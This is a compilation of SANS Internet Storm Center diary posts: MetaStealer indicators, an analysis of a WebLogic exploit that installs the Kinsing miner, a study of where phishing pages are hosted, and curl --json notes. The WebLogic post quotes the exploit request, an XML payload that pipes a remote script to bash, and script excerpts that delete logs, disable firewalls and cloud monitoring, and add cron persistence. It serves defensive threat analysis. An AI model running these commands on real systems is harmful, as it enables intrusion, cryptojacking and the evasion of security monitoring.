• File location: C:\Users\[username]\AppData\Roaming\qwveqwveqw.exe
• File description: Malware EXE persistent on the infected Windows host
• Note: This binary is appended with more than 366 MB of zero byte filler
• Note: Persistent through "Shell" value at HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

SHA256 hash: 7641ae596b53c5de724101bd6df35c999c9616d93503bce0ffd30b1c0d041e3b

• File size: 143,400 bytes
• File description: Persistent malware EXE with most of the zero byte filler removed

SHA256 hash: fba945b78715297f922b585445c74a4d7663ea2436b8c32bcb0f4e24324d3b8b

• File size: 716,288 bytes
• File location: hxxps://transfer[.]sh/get/qT523D/Wlniornez_Dablvtrq.bmp
• File type: data
• File description: Retrieved by persistent EXE, this binary is a Windows DLL file in reverse byte order

SHA256 hash: bf3b78329eccd049e04e248dd82417ce9a2bcaca021cda858affd04e513abe87

• File size: 716,288 bytes
• File description: Windows DLL file created by reserving the above binary
• File type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
• Run method: loaded/run by persistent EXE

SHA256 hash: cb6254808d1685977499a75ed2c0f18b44d15720c480fb407035f3804016ed89

• File size: 2,182,488 bytes
• File location: hxxp://193.106.191[.]162:1775/avast_update
• File description: base64 text representing a Windows DLL file

SHA256 hash: 71e54b829631b93adc102824a4d3f99c804581ead8058b684df25f1c9039b738

• File size: 1,636,864 bytes
• File description: Windows DLL file converted from the above text
• File type: PE32 executable (DLL) (console) Intel 80386, for MS Windows
• Run method: unknown, loaded/run by persistent EXE or previous DLL loaded/run by persistent EXE

Final words

Each time I rebooted my infected Windows host, the persistent EXE generated traffic to the same transfer.sh URL and re-started the infection process without the Github traffic.

Malware associated with this infection was first submitted to VT on Wednesday 2022-03-30.  ETPRO signatures identifying HTTP traffic generated by this malware as MetaStealer were released on Friday 2022-04-01.

My thanks to Security Onion, Proofpoint's EmergingThreats team, and Didier Stevens' tools for reversing binaries. These three resources were a big help in my analysis for this diary.

A pcap of the infection traffic and the associated malware/artifacts can be found here.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

Looking through my honeypot logs for some Spring4Shell exploits (I didn't find anything interesting), I came across this attempt to exploit an older WebLogic vulnerability (likely %%cve:2020-14882%% or %%cve:2020-14883%%). The exploit itself is "run of the mill," but the script downloaded is going through an excessively long list of competitors to disable and disabled cloud monitoring tools, likely to make detecting and response more difficult. Many organizations will not notice that they do not receive any more alerts ;-)

The initial exploit came from %%ip:109.237.96.124%% (IP is in Russia and has been scanning for port 7001 for a couple of weeks now):

POST /console/images/%252e%252e%252fconsole.portal HTTP/1.1
Host: [redcated]:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
 like Gecko) Chrome/78.0.3904.108 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Content-Length: 148
Connection: Keep-Alive

_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://185.231.153.4/wb.xml")

It is pretty apparent from the above code that the exploit attempts to download wb.xml from %%ip:185.231.153.4%% (another Russian IP. Appears not to be involved in any active scanning).

 <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>/bin/bash</value>
                <value>-c</value>
                <value><![CDATA[(curl -s 185.231.153.4/wb.sh||wget -q -O- 185.231.153.4/wb.sh)|bash]]></value>
            </list>
        </constructor-arg>
    </bean>
</beans>

This leads us to wb.sh, downloaded from the same host. wb.sh is the actual script installing the miner and disabling the competition. I will not post the full script here as it is too long. But just samples from various parts. The SHA256 hash of wb.sh is ea8727980efe4be07bcbaf300f7e7af354589b81c1bf7ca474a19ac9dcc01b1b. 

It starts with disabling various typical security limits (note the changes to the /tmp directories. That is not super common)

touch /tmp/zzza
ulimit -n 65535
rm -rf /var/log/syslog
chattr -iua /tmp/
chattr -iua /var/tmp/
chattr -R -i /var/spool/cron
chattr -i /etc/crontab
ufw disable
iptables -F

[ and more... ]

Next, it uninstalls and kills the "aliyun-service." Aliyun(Alibaba Cloud) installs by default various monitoring and security tools. The script downloads a tool to disable them.

if ps aux | grep -i '[a]liyun'; then
  curl http://update.aegis.aliyun.com/download/uninstall.sh | bash
  curl http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
  pkill aliyun-service
  rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
  rm -rf /usr/local/aegis*
  systemctl stop aliyun.service
  systemctl disable aliyun.service
  service bcm-agent stop
  yum remove bcm-agent -y
  apt-get remove bcm-agent -y
elif ps aux | grep -i '[y]unjing'; then
  /usr/local/qcloud/stargate/admin/uninstall.sh
  /usr/local/qcloud/YunJing/uninst.sh
  /usr/local/qcloud/monitor/barad/admin/uninstall.sh
fi

Next, it starts to kill processes that connect to specific IP addresses. Not sure about the significance of the IP addresses (185.71.65.238, 140.82.52.87, 34.81.218.76, 42.112.28.216, 207.38.87.6, 42.112.28.216). For example:

netstat -anp | grep 185.71.65.238 | awk '{print $7}' | awk -F'[/]' '{print $1}'
| xargs -I % kill -9 %

And it kills processes connecting to various ports regardless of the IP (143, 2222, 3333,3389, 4444, 5555, and more). As many miner scripts do, it also has a long list of process names it kills like:

pkill -f .javae
pkill -f .syna
pkill -f .main
pkill -f xmm
pkill -f solr.sh

It appears to kill competing miners and some valid processes, maybe to free up CPU cycles for the miner or to eliminate competitors masquerading as a valid process. It even goes so far as to check if any miners are running inside docker:

docker ps | grep "auto" | awk '{print $1}' | xargs -I % docker kill %
docker ps | grep "xmr" | awk '{print $1}' | xargs -I % docker kill %
docker ps | grep "mine" | awk '{print $1}' | xargs -I % docker kill %
docker ps | grep "monero" | awk '{print $1}' | xargs -I % docker kill %
docker ps | grep "slowhttp" | awk '{print $1}' | xargs -I % docker kill %

Finally, we get to download the miner:

BIN_MD5="2c44b4e4706b8bd95d1866d7867efa0e"
BIN_DOWNLOAD_URL="http://185.231.153.4/kinsing"
BIN_DOWNLOAD_URL2="http://185.231.153.4/kinsing"
BIN_NAME="kinsing"

This malware is nothing new and well known to Virustotal [1]

The malware achieves persistence by adding a cron job:

echo "* * * * * $LDR http://185.191.32.198/wb.sh | sh > /dev/null 2>&1"

In summary:

Specifically, disabling the Alibaba Cloud monitoring tools is new to me. I didn't see any other endpoint security tools disabled (sure, things like SELinux and such, but no AV tools). Maybe I missed some among the long list of "kill" commands. But essentially, this script is targeting Alibaba Cloud users and assuming the machine they are breaching is pretty much unused and nobody but Alibaba is monitoring it.

[1] https://www.virustotal.com/gui/file/5d2530b809fd069f97b30a5938d471dd2145341b5793a70656aad6045445cf6d

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

[This post was created with help from Jesse La Grew, one of our SANS.edu undergraduate student interns]

In November, an accountant working for a construction company received an innocent enough-looking email: An update on the terms to submit bills to a local county. Seeing the email, the accountant clicked on the link and quickly downloaded the new document after entering their Outlook 365 credentials. The PDF looked all right but was something the accountant had already downloaded a couple of weeks ago from the county’s official website.

A few weeks later, the accountant noticed that a payment from the county was overdue. They picked up the phone and called their contact. The county had paid the bill, and the connection noted that they sent the money to the new bank account provided by the company.

    This, turns out, was a typical case of “business email compromise.” An excellent, old phishing scam initiated it. From the “kid living in mom’s basement,” “organized crime,” to “state actors,” phishing is the arrow in the attacker’s quiver that doesn’t seem to get dull. Phishing attacks usually come in three stages:
 

1. The Email

Attempting to distinguish yourself as a red teamer or trying to get promoted quickly by the criminal gang you are working for? This is where you show your skill. Most phishing emails are a game of “Numbers” in playing the odds of finding a few users who haven’t seen that phishing email yet. Better emails target specific groups or individuals, and even some of the initial “conversations” can be scripted to establish a rapport with the victim.

2. The Landing Page

This is where we will be focusing. The attacker needs a reliable way to host a landing page. The landing page will usually mimic a common login form or link to another resource to make attribution and filtering more challenging. In some cases, these landing pages will adapt themselves to the victim by prefilling logos or form content. Code to block specific known security companies from discovering the page is very standard.

3. The Execution

Sometimes automated and immediate, but often delayed by months, the attacker will attempt to use harvested credentials. Specific groups have also specialized in collecting credentials to sell them to other groups.

Our work here looked explicitly at the landing pages: Where are they hosted, and what can be done to dry up the supply of hosting opportunities for phishing landing pages.

Methodology

We used Phishtank [phishtank] and its verified phishing page URLs repository. After downloading the daily list of phishing URLs, we used a script to categorize them. First, the page was downloaded to look for evidence of specific content management platforms. We also looked at the IP the page is hosted at and consulted URLScan [urlscan], which indexes pages and identifies hosting platforms and other frameworks used.

Results

We ran into a classic 80/20 principal problem. 4 Platforms make up 97% of the phishing problem: WordPress, Google Sites, Adobe Experience Manager, and Weebly (the last one contributing only 7%).

Distribution of Phishing Sites by CMS

According to w3Techs, WordPress is used by about 43% of all websites [w3techs]. Of the phishing sites that used a CMS, 46% of those used WordPress. WordPress may be used as a self-hosted and managed platform for free or as part of the commercial WordPress.com service. From the data collected, most sites were using third-party hosting and had customized domain names. Less than 1% of sites were affiliated with networks hosting WordPress.com content. We assume that the vast majority of compromised WordPress sites are self-hosted.

The WordPress platform and plugins used have a well-documented history of vulnerabilities. Many of the plugin vulnerabilities are never patched. Even if a patch is available, these sites can be challenging to update. One of WordPress’s selling points is its ease of use. WordPress sites are often used by small businesses and hobbyists who cannot maintain them properly. Even the hosted platform has its issues. While the sites are patched, and the platform is maintained and protected by WordPress.com, users still often use weak passwords or are falling for phishing themselves.

It is more challenging to get good market share numbers for Google Sites and Adobe Experience Manager. Google sites do not require a “compromise” to be used as a phishing site, but a user may just set up a site and install a phishing package. Google has been rather sluggish in removing these sites (more about that in a later post).

Lessons / Defenses

The prominence of WordPress was not unexpected. WordPress has been an ongoing threat to the Internet. Just this week, a large DDoS attack against sites in Ukraine was launched by injecting JavaScript into compromised WordPress sites [BleepingComputer]. Removing compromised code or shutting down compromised sites is almost impossible. WordPress is some ways is like a Mosquito. By itself, it is annoying and more than a nuisance, but due to their large numbers, these sites are a killer and a threat to the Internet’s infrastructure.

For cloud providers offering free content hosting, effective mechanisms are needed to proactively identify and eliminate content used for phishing sites.

If you are not willing or able to maintain and secure WordPress: Discontinue its use now or migrate to a hosted solution like for example WordPress.com. This isn’t limited to WordPress, but to any plugin that may be used within the platform.

Phishing sites are hosted on popular free or low-cost hosting platforms. They will often exploit vulnerabilities to compromise existing sites. Compromising an existing site will allow flying under the radar for site reputation services. Even if the possibility were removed to compromise an existing site, there are still readily available free services available to bad actors. 

Blocking WordPress or Google Sites entirely is not an option. Too many valid sites are hosted using these services and software. Sending takedown notices beyond reporting the sites to PhishTank, is ineffective [Susan Ramsey]. But awareness of the large number of phishing sites hosted on these services, and pressure on these services to reduce the phishing sites, is needed. Rethinking how these services are maintained and how their customers are validated can help to address many of these challenges. There is a lot of damage that can occur in a short period of time and efficient phishing website takedowns may not address all risks.

A variety of mitigations are needed since there is always a limit to the technical controls that can be put in place. This is especially true when many resources are out of the direct control of an organization. Education and awareness programs can help end-users better identify suspicious emails and report them appropriately. Where phishing emails are concerned, the most flexible solution is also the location where the compromise often occurs. A phishing URL is no help to a bad actor if the site is not navigated. In addition, email controls can also help to identify and remove suspicious emails before it gets to an end-user. 

[phishtank] https://www.phishtank.com
[urlscan] https://urlscan.io
[w3techs] https://w3techs.com/technologies/overview/content_management
[Susan Ramsey] https://www.sans.edu/cyber-research/can-we-move-past-blocklists-to-automated-takedowns/
[BleepingComputer] https://www.bleepingcomputer.com/news/security/hacked-wordpress-sites-force-visitors-to-ddos-ukrainian-targets/#.YkMRYcj5wFQ.twitter

About a mont ago, a fellow handler pointed us to a blog post on a new feature of curl: option --json.

And now that there is a new curl release (7.82.0) with this option, I wrote a diary entry about it: "curl 7.82.0 Adds --json Option".

In that curl blog post, I learned about a tool called jo.

jo is a command-line tool to create JSON. Here is an example:

In this video, I show how to use jo and curl together:

 

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

Curl's version 7.82.0, released early March 2022, has a new option to deal with JSON data: --json.

It's actually a combination of the following options:

--data
--header "Content-Type: application/json"
--header "Accept: application/json"

 

Notice that curl does not check if the provided data is a valid JSON expression:

More JSON features may be added to curl in the future, but that debate is still ongoing.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com